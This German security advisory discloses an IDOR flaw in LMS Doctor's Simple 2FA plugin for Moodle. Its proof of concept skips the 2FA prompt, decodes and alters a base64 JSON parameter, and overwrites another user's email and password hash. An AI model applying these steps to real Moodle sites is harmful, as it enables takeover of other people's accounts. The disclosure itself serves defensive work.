
Eine Schwachstelle durch unsichere direkte Objektverweise (IDOR) im 'Simple 2FA Plugin for Moodle' von LMS Doctor
Eine Schwachstelle durch unsichere direkte Objektreferenzen (IDOR) im "Simple 2FA Plugin for Moodle" von LMS Doctor
Details zur Schwachstelle
Risiko : Kritisch
Anbieter: LMS Doctor - Simple 2 Factor Authentication Plugin For Moodle
Entdeckt von: Flaviu Popescu
Beschreibung: Schwachstelle durch unsichere direkte Objektreferenzen (IDOR) im Simple 2FA Plugin for Moodle von "LMS Doctor". Ermöglicht entfernten Angreifern, vertrauliche Datensätze wie E-Mail, Passwort und Telefonnummer anderer Benutzerkonten zu aktualisieren.
Beweis des Konzepts:
Anfänglicher Anmeldevorgang mit einem selbstregistrierten Konto (dionach.tester):
POST /login/index.php

Sobald die 2FA-Eingabeaufforderung angezeigt wird, navigiert der Angreifer zwangsweise zur folgenden URL, anstatt den 2FA-Code einzugeben.
POST /auth/simple2fa/profile.php

Diese Anfrage wird in Burp Suite aufgezeichnet:

Der Parameter "u" enthält einen base64-kodierten String. Der String wird dekodiert, wodurch Daten im JSON-Format sichtbar werden, wie unten dargestellt:

Der Angreifer manipuliert die JSON-Daten, indem er die ID, E-Mail, das Passwort und den Namen ändert. Die JSON-Daten werden wieder in base64 kodiert, in Burp Suite aktualisiert und an den Server weitergeleitet.
Neue Hash-Generierung für das Passwort:
$ htpasswd -bnBC 10 "" pwn3d! | tr -d ':\n'\n
$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy
Auszug der manipulierten Daten:
{"id":"8045","auth":"email","confirmed":"1","policyagreed":"0","deleted":"0","suspended":"0","mnethostid":"1","username":"dionach.tester2","password":"$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy","idnumber":"","firstname":"Dio","lastname":"Nach","email":"flaviu.popescu+1337@[..]", [..]
Dies führt dazu, dass das Opferkonto mit der ID 8045 (dionach.tester2) wie unten gezeigt aktualisiert wird:
